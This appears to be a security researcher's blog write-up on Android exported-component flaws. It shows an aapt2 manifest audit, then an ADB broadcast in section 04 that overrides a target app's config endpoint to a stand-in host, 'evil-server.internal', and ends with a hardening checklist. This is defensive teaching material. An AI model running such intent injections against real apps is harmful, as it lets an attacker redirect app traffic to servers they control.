01 Anatomy of Android IPC

Every Android app defines its external boundaries in AndroidManifest.xml. When developers configure android:exported="true" on an Activity or BroadcastReceiver without setting explicit signature-level permissions, any other application on the device can invoke that component with arbitrary Intent extras.

02 Automated Static Audit

We built a lightweight CLI script within the android-security-lab toolkit that parses compiled APK manifests directly on a phone in Termux, isolating exported components and dangerous Intent filters:

TERMUX — AAPT2 MANIFEST DUMP
$ aapt2 dump xmltree app.apk --file AndroidManifest.xml | grep -B 2 -A 5 "android:exported=true"
E: receiver (line=84) A: android:name(0x01010003)="com.target.app.receivers.DebugCommandReceiver" A: android:exported(0x01010010)=true E: intent-filter (line=87) E: action (line=88) A: android:name(0x01010003)="com.target.app.ACTION_OVERRIDE_CONFIG" [!] CRITICAL: Component is exported without android:permission guard.

04 Runtime Intent Injection

Using ADB shell commands, we verified that any unprivileged app could trigger an internal configuration reset by broadcasting the exposed intent:

ADB SHELL EXPLOIT EXECUTION
$ am broadcast -a com.target.app.ACTION_OVERRIDE_CONFIG --es "endpoint" "http://evil-server.internal"
Broadcasting: Intent { act=com.target.app.ACTION_OVERRIDE_CONFIG (has extras) } Broadcast completed: result=0 [LOGCAT] 02:44:11.201 DebugCommandReceiver: Config overridden to http://evil-server.internal

05 Defensive Hardening Checklist

  • Always set android:exported="false" unless the component is explicitly designed for external application interaction.
  • If an intent filter is required, protect the component with a custom permission configured with android:protectionLevel="signature".
  • Audit all incoming Intent extras with type-safe deserialization to avoid ClassNotFoundException denial-of-service crashes.
K
Krish / axe01010
Systems engineer and security researcher. Eight years building and shipping production software directly from mobile Linux environments.
RELATED RESEARCH & BUILDS